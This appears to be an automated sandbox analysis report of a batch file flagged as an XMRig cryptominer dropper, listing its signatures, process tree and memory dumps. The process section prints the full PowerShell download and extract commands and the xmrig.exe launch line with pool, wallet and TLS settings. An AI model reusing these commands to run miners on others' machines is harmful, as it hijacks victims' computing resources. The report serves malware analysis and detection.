Analysis

  • max time kernel
    1788s
  • max time network
    1793s
  • platform
    windows10-1703_x64
  • resource
    win10-20231215-en
  • resource tags

    arch:x64arch:x86image:win10-20231215-enlocale:en-usos:windows10-1703-x64system
  • submitted
    25/12/2023, 07:36

General

  • Target

    tesy - Copy (9).bat

  • Size

    608B

  • MD5

    727c8da0478af118c957ae60f7161cab

  • SHA1

    cf18105b8659e93bbd2824fa35ef1bae7b395301

  • SHA256

    97db0437ecb6f401a4674dceead7b17a885241f2ab2495652863d2240f3bedab

  • SHA512

    d9cbb46d5f3caa92d3b44301bc96ccfd5552f2ab3e5460362db3b59d23e0a5c34bf78e9387009092ac5c92b4423c03789aa1fc824a4e1388a1363daa6ab54e01

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

https://github.com/xmrig/xmrig/releases/download/v6.21.0/xmrig-6.21.0-gcc-win64.zip

Signatures

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 63 IoCs
  • Blocklisted process makes network request 2 IoCs
  • Executes dropped EXE 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -command "(New-Object System.Net.WebClient).DownloadFile('https://github.com/xmrig/xmrig/releases/download/v6.21.0/xmrig-6.21.0-gcc-win64.zip', 'xmrig-6.21.0-gcc-win64.zip')"
    1⤵
    • Blocklisted process makes network request
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    PID:4916
  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\tesy - Copy (9).bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:220
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "Expand-Archive -Path 'xmrig-6.21.0-gcc-win64.zip' -DestinationPath '.'"
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:3236
    • C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0\xmrig.exe
      xmrig.exe --url pool.hashvault.pro:80 --user 42BWpXvTvDbHpMyHrnjqBA5bqjnB9z65fGakJV9dQuHSS7pRkpoyx5T4vE4pUjJxPoPrLCAerjoKwdMTQKZNNEqo6zoLmPJ --pass tria2 --donate-level 1 --tls --tls-fingerprint 420c7850e09b7c0bdcf748a7da9eb3647daf8515718f36d9ccfdd6b9ff834b14
      2⤵
      • Executes dropped EXE
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of FindShellTrayWindow
      PID:2512

Network

MITRE ATT&CK Matrix

Replay Monitor

Loading Replay Monitor...

Downloads

  • memory/2512-149-0x00007FF6BA420000-0x00007FF6BAF23000-memory.dmp

    Filesize

    11.0MB

  • memory/2512-124-0x0000013F38BB0000-0x0000013F38BD0000-memory.dmp

    Filesize

    128KB

  • memory/2512-188-0x00007FF6BA420000-0x00007FF6BAF23000-memory.dmp

    Filesize

    11.0MB

  • memory/2512-187-0x00007FF6BA420000-0x00007FF6BAF23000-memory.dmp

    Filesize

    11.0MB

  • memory/2512-186-0x00007FF6BA420000-0x00007FF6BAF23000-memory.dmp

    Filesize

    11.0MB

  • memory/2512-185-0x00007FF6BA420000-0x00007FF6BAF23000-memory.dmp

    Filesize

    11.0MB

  • memory/2512-184-0x00007FF6BA420000-0x00007FF6BAF23000-memory.dmp

    Filesize

    11.0MB

  • memory/2512-183-0x00007FF6BA420000-0x00007FF6BAF23000-memory.dmp

    Filesize

    11.0MB

  • memory/2512-182-0x00007FF6BA420000-0x00007FF6BAF23000-memory.dmp

    Filesize

    11.0MB

  • memory/2512-181-0x00007FF6BA420000-0x00007FF6BAF23000-memory.dmp

    Filesize

    11.0MB

  • memory/2512-180-0x00007FF6BA420000-0x00007FF6BAF23000-memory.dmp

    Filesize

    11.0MB

  • memory/2512-179-0x00007FF6BA420000-0x00007FF6BAF23000-memory.dmp

    Filesize

    11.0MB

  • memory/2512-178-0x00007FF6BA420000-0x00007FF6BAF23000-memory.dmp

    Filesize

    11.0MB

  • memory/2512-120-0x0000013F38A30000-0x0000013F38A50000-memory.dmp

    Filesize

    128KB

  • memory/2512-121-0x0000013F38B90000-0x0000013F38BB0000-memory.dmp

    Filesize

    128KB

  • memory/2512-122-0x00007FF6BA420000-0x00007FF6BAF23000-memory.dmp

    Filesize

    11.0MB

  • memory/2512-125-0x0000013F38BD0000-0x0000013F38BF0000-memory.dmp

    Filesize

    128KB

  • memory/2512-151-0x00007FF6BA420000-0x00007FF6BAF23000-memory.dmp

    Filesize

    11.0MB

  • memory/2512-123-0x00007FF6BA420000-0x00007FF6BAF23000-memory.dmp

    Filesize

    11.0MB

  • memory/2512-126-0x00007FF6BA420000-0x00007FF6BAF23000-memory.dmp

    Filesize

    11.0MB

  • memory/2512-127-0x00007FF6BA420000-0x00007FF6BAF23000-memory.dmp

    Filesize

    11.0MB

  • memory/2512-129-0x0000013F38BD0000-0x0000013F38BF0000-memory.dmp

    Filesize

    128KB

  • memory/2512-128-0x0000013F38BB0000-0x0000013F38BD0000-memory.dmp

    Filesize

    128KB

  • memory/2512-130-0x00007FF6BA420000-0x00007FF6BAF23000-memory.dmp

    Filesize

    11.0MB

  • memory/2512-131-0x00007FF6BA420000-0x00007FF6BAF23000-memory.dmp

    Filesize

    11.0MB

  • memory/2512-132-0x00007FF6BA420000-0x00007FF6BAF23000-memory.dmp

    Filesize

    11.0MB

  • memory/2512-133-0x00007FF6BA420000-0x00007FF6BAF23000-memory.dmp

    Filesize

    11.0MB

  • memory/2512-134-0x00007FF6BA420000-0x00007FF6BAF23000-memory.dmp

    Filesize

    11.0MB

  • memory/2512-135-0x00007FF6BA420000-0x00007FF6BAF23000-memory.dmp

    Filesize

    11.0MB

  • memory/2512-136-0x00007FF6BA420000-0x00007FF6BAF23000-memory.dmp

    Filesize

    11.0MB

  • memory/2512-137-0x00007FF6BA420000-0x00007FF6BAF23000-memory.dmp

    Filesize

    11.0MB

  • memory/2512-138-0x00007FF6BA420000-0x00007FF6BAF23000-memory.dmp

    Filesize

    11.0MB

  • memory/2512-139-0x00007FF6BA420000-0x00007FF6BAF23000-memory.dmp

    Filesize

    11.0MB

  • memory/2512-140-0x00007FF6BA420000-0x00007FF6BAF23000-memory.dmp

    Filesize

    11.0MB

  • memory/2512-141-0x00007FF6BA420000-0x00007FF6BAF23000-memory.dmp

    Filesize

    11.0MB

  • memory/2512-142-0x00007FF6BA420000-0x00007FF6BAF23000-memory.dmp

    Filesize

    11.0MB

  • memory/2512-143-0x00007FF6BA420000-0x00007FF6BAF23000-memory.dmp

    Filesize

    11.0MB

  • memory/2512-144-0x00007FF6BA420000-0x00007FF6BAF23000-memory.dmp

    Filesize

    11.0MB

  • memory/2512-145-0x00007FF6BA420000-0x00007FF6BAF23000-memory.dmp

    Filesize

    11.0MB

  • memory/2512-146-0x00007FF6BA420000-0x00007FF6BAF23000-memory.dmp

    Filesize

    11.0MB

  • memory/2512-150-0x00007FF6BA420000-0x00007FF6BAF23000-memory.dmp

    Filesize

    11.0MB

  • memory/2512-148-0x00007FF6BA420000-0x00007FF6BAF23000-memory.dmp

    Filesize

    11.0MB

  • memory/2512-177-0x00007FF6BA420000-0x00007FF6BAF23000-memory.dmp

    Filesize

    11.0MB

  • memory/2512-147-0x00007FF6BA420000-0x00007FF6BAF23000-memory.dmp

    Filesize

    11.0MB

  • memory/2512-176-0x00007FF6BA420000-0x00007FF6BAF23000-memory.dmp

    Filesize

    11.0MB

  • memory/2512-152-0x00007FF6BA420000-0x00007FF6BAF23000-memory.dmp

    Filesize

    11.0MB

  • memory/2512-153-0x00007FF6BA420000-0x00007FF6BAF23000-memory.dmp

    Filesize

    11.0MB

  • memory/2512-154-0x00007FF6BA420000-0x00007FF6BAF23000-memory.dmp

    Filesize

    11.0MB

  • memory/2512-155-0x00007FF6BA420000-0x00007FF6BAF23000-memory.dmp

    Filesize

    11.0MB

  • memory/2512-156-0x00007FF6BA420000-0x00007FF6BAF23000-memory.dmp

    Filesize

    11.0MB

  • memory/2512-157-0x00007FF6BA420000-0x00007FF6BAF23000-memory.dmp

    Filesize

    11.0MB

  • memory/2512-158-0x00007FF6BA420000-0x00007FF6BAF23000-memory.dmp

    Filesize

    11.0MB

  • memory/2512-159-0x00007FF6BA420000-0x00007FF6BAF23000-memory.dmp

    Filesize

    11.0MB

  • memory/2512-160-0x00007FF6BA420000-0x00007FF6BAF23000-memory.dmp

    Filesize

    11.0MB

  • memory/2512-161-0x00007FF6BA420000-0x00007FF6BAF23000-memory.dmp

    Filesize

    11.0MB

  • memory/2512-162-0x00007FF6BA420000-0x00007FF6BAF23000-memory.dmp

    Filesize

    11.0MB

  • memory/2512-163-0x00007FF6BA420000-0x00007FF6BAF23000-memory.dmp

    Filesize

    11.0MB

  • memory/2512-164-0x00007FF6BA420000-0x00007FF6BAF23000-memory.dmp

    Filesize

    11.0MB

  • memory/2512-165-0x00007FF6BA420000-0x00007FF6BAF23000-memory.dmp

    Filesize

    11.0MB

  • memory/2512-166-0x00007FF6BA420000-0x00007FF6BAF23000-memory.dmp

    Filesize

    11.0MB

  • memory/2512-167-0x00007FF6BA420000-0x00007FF6BAF23000-memory.dmp

    Filesize

    11.0MB

  • memory/2512-168-0x00007FF6BA420000-0x00007FF6BAF23000-memory.dmp

    Filesize

    11.0MB

  • memory/2512-169-0x00007FF6BA420000-0x00007FF6BAF23000-memory.dmp

    Filesize

    11.0MB

  • memory/2512-170-0x00007FF6BA420000-0x00007FF6BAF23000-memory.dmp

    Filesize

    11.0MB

  • memory/2512-171-0x00007FF6BA420000-0x00007FF6BAF23000-memory.dmp

    Filesize

    11.0MB

  • memory/2512-172-0x00007FF6BA420000-0x00007FF6BAF23000-memory.dmp

    Filesize

    11.0MB

  • memory/2512-173-0x00007FF6BA420000-0x00007FF6BAF23000-memory.dmp

    Filesize

    11.0MB

  • memory/2512-174-0x00007FF6BA420000-0x00007FF6BAF23000-memory.dmp

    Filesize

    11.0MB

  • memory/2512-175-0x00007FF6BA420000-0x00007FF6BAF23000-memory.dmp

    Filesize

    11.0MB

  • memory/3236-40-0x00007FFF7DCA0000-0x00007FFF7E68C000-memory.dmp

    Filesize

    9.9MB

  • memory/3236-42-0x00000283AA3E0000-0x00000283AA3F0000-memory.dmp

    Filesize

    64KB

  • memory/3236-41-0x00000283AA3E0000-0x00000283AA3F0000-memory.dmp

    Filesize

    64KB

  • memory/3236-93-0x00000283AC1F0000-0x00000283AC1FA000-memory.dmp

    Filesize

    40KB

  • memory/3236-66-0x00000283AA3E0000-0x00000283AA3F0000-memory.dmp

    Filesize

    64KB

  • memory/3236-80-0x00000283C4610000-0x00000283C4622000-memory.dmp

    Filesize

    72KB

  • memory/3236-117-0x00007FFF7DCA0000-0x00007FFF7E68C000-memory.dmp

    Filesize

    9.9MB

  • memory/4916-25-0x000002010D3E0000-0x000002010D3F0000-memory.dmp

    Filesize

    64KB

  • memory/4916-4-0x0000020125BF0000-0x0000020125C12000-memory.dmp

    Filesize

    136KB

  • memory/4916-8-0x000002010D3E0000-0x000002010D3F0000-memory.dmp

    Filesize

    64KB

  • memory/4916-7-0x00007FFF7DCA0000-0x00007FFF7E68C000-memory.dmp

    Filesize

    9.9MB

  • memory/4916-9-0x000002010D3E0000-0x000002010D3F0000-memory.dmp

    Filesize

    64KB

  • memory/4916-10-0x0000020125CA0000-0x0000020125D16000-memory.dmp

    Filesize

    472KB

  • memory/4916-28-0x000002010D3E0000-0x000002010D3F0000-memory.dmp

    Filesize

    64KB

  • memory/4916-27-0x000002010D3E0000-0x000002010D3F0000-memory.dmp

    Filesize

    64KB

  • memory/4916-26-0x00007FFF7DCA0000-0x00007FFF7E68C000-memory.dmp

    Filesize

    9.9MB

  • memory/4916-29-0x000002010D3E0000-0x000002010D3F0000-memory.dmp

    Filesize

    64KB

  • memory/4916-34-0x00007FFF7DCA0000-0x00007FFF7E68C000-memory.dmp

    Filesize

    9.9MB